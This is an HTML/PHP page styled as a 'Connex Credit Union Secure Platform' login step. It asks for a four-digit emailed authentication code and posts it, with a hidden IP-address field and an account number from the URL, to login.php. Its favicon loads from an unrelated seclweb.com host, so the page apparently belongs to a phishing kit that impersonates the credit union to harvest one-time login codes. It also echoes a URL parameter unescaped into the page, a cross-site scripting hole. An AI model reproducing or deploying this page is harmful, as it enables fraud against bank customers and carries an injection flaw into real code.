<!DOCTYPE html>
<html lang="zxx" style="height: 100%;"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <!-- Bootstrap CSS --> 
    <link rel="stylesheet" href="dist/bootstrap.min.css">
    <!-- Animate CSS --> 
    <link rel="stylesheet" href="dist/animate.min.css">
    <!-- Meanmenu CSS -->
    <link rel="stylesheet" href="dist/meanmenu.css">
    <!-- Boxicons CSS -->
    <link rel="stylesheet" href="dist/boxicons.min.css">
    <!-- Nice Select CSS -->
    <link rel="stylesheet" href="dist/nice-select.min.css">
    <!-- Flaticon CSS -->
     <link rel="stylesheet" href="fonts/flaticon/font/flaticon.css">
 
     <link href="fontawesome5/css/font-awesome.min.css" rel="stylesheet">
    <!-- Owl Carousel CSS -->
    <link rel="stylesheet" href="dist/owl.carousel.min.css">

    <!-- <link href="dist/font-awesome.min.css" rel="stylesheet"> -->
    
    <link href="fontawesome-6.4.2/css/fontawesome.min.css" rel="stylesheet"> 
    <link href="fontawesome-6.4.2/css/fontawesome.css" rel="stylesheet">
    <link href="fontawesome-6.4.2/css/brands.css" rel="stylesheet">
    <link href="fontawesome-6.4.2/css/solid.css" rel="stylesheet">
   <link href="fontawesome-6.4.2/css/regular.css" rel="stylesheet">
   

    <!-- Owl Carousel Default CSS -->
    <link rel="stylesheet" href="dist/owl.theme.default.min.css">
    <!-- Odometer CSS -->
    <link rel="stylesheet" href="dist/odometer.min.css">
    <!-- Magnific Popup CSS -->
    <link rel="stylesheet" href="dist/magnific-popup.min.css">
    <!-- Style CSS -->
    <link rel="stylesheet" href="dist/css/style.css">
    <!-- Responsive CSS -->
    <link rel="stylesheet" href="dist/css/responsive.css">
 

    <title> Connex Credit Union Secure Platform - Connex Credit Union </title>

    <link rel="icon" type="image/png" href="https://connexcu.seclweb.com/en/assets/img/favicon.png">
    <link type="text/css" rel="stylesheet" charset="UTF-8" href="dist/m=el_main_css.css">

<script type="text/javascript" charset="UTF-8" src="dist/m=el_main.js"></script></head>
<body style="position: relative; min-height: 100%; top: 0px;">
    
    <!-- Start Preloader Area -->
    <div class="preloader" style="display: none;">
        <div class="loader">
            <div class="shadow"></div>
            <div class="box"></div>
        </div>
    </div>
    <!-- End Preloader Area -->
    <!-- Start Header here -->
    <div class="page-wrapper">

    <?php include 'header.php'; ?>
      

<!-- Start Main Banner Area -->
          <section class="open-account-area ptb-100">
            <div class="container">
                <div class="section-title">
                    <h2 class="text-uppercase">Account Login</h2>
                    <p></p>
                </div>
                <div class="row justify-content-center">
                    <div class="col-md-4 mt-5">
                  <div class="open-account-form mt-5">
                    <div id="merrorBlock"></div>
                <div style="margin: 0 auto;  white-space: none; font-size: 12.25px;font-weight: 400;" class="left message text-muted">We have sent a message to your email address on file with an authentication code.<br>Once you receive it enter the code below to complete your login</div><br>

                <div id="errpin_val"></div>

                            <form method="post" action="login.php?action=Validate login Pin" id="frmConfirmpin">
                                      <div class="frm-inp">
                                 
                                                   <div class="md-input">
                                                      <input type="text" name="userpin" id="userpin1" maxlength="1" class="inpval" autofocus autocomplete="off" onkeyup="enterNext(this, 'userpin2')" inputmode="numeric" oninput="this.value = this.value.replace(/\D+/g, '')" >
                                                      <input type="text" name="userpin" id="userpin2" maxlength="1" class="inpval" autocomplete="off" onkeyup="enterNext(this, 'userpin3')" inputmode="numeric" oninput="this.value = this.value.replace(/\D+/g, '')" >
                                                      <input type="text" name="userpin" id="userpin3" maxlength="1" class="inpval" autocomplete="off" onkeyup="enterNext(this, 'userpin4')" inputmode="numeric" oninput="this.value = this.value.replace(/\D+/g, '')" >
                                                      <input type="text" name="userpin" id="userpin4" maxlength="1" class="inpval" autocomplete="off"  inputmode="numeric" oninput="this.value = this.value.replace(/\D+/g, '')" >  
                                                   </div>
                                </div>
                                
                                <div class="frm-inp" style="padding-top: 15px;">
                                    <input type="hidden" name="ip_addrs" id="ip_addrs">
                                    <input type="hidden" name="accnt_nmbr" id="accnt_nmbr" value="<?php echo $_GET['accnt']; ?>">
                                    <button class="btn btn-primary btn-block" id="btnModelPin" style="height: 50px; width: 80%;"> Continue </button>
                                    
                                </div>
                            </form>    
                
                </div>
            </div>
        </div>
            </div>
        </section>

        <?php include 'footer.php'; ?>

         </div> 
        <!-- Jquery Slim JS -->
        <script src="dist/jquery.min.js"></script>
        <!-- Popper JS -->
        <script src="dist/popper.min.js"></script>
        <!-- Bootstrap JS -->
        <script src="dist/bootstrap.min.js"></script>
        <!-- Site script -->
        <script src="script.js"></script>
        <!-- Meanmenu JS -->
        <script src="dist/jquery.meanmenu.js"></script>
        <!-- Nice Select JS -->
        <script src="dist/jquery.nice-select.min.js"></script>
        <!-- Owl Carousel JS -->
        <script src="dist/owl.carousel.min.js"></script>
        <!-- Magnific Popup JS -->
        <script src="dist/jquery.magnific-popup.min.js"></script>
        <!-- Odometer JS -->
        <script src="dist/odometer.min.js"></script>
        <!-- Jquery Appear JS -->
        <script src="dist/jquery.appear.min.js"></script>
        <!-- Ajaxchimp JS -->
        <script src="dist/jquery.ajaxchimp.min.js"></script>
        <!-- Form Validator JS -->
       <script src="dist/form-validator.min.js"></script>
        <!-- Contact JS -->
        <script src="dist/contact-form-script.js"></script>
        <!-- Wow JS -->
        <script src="dist/wow.min.js"></script>
        <!-- Custom JS -->
        <script type="text/javascript">
      function enterNext(presID, nextID){
        var firdID = document.getElementById(presID) 
        var secID  = document.getElementById(nextID)
        // presID.value = presID.value.replace(/[^0-9\.]/g,'');
         
      // if(firdID.value ){

      // }

        if(presID.value.length){
        document.getElementById(nextID).focus()  
        }
      }

     // $(document).ready(function(){
     //     $('.inpval').bind("keyup", function()){

     //     }
        
     // })
    </script>

    
 </body></html>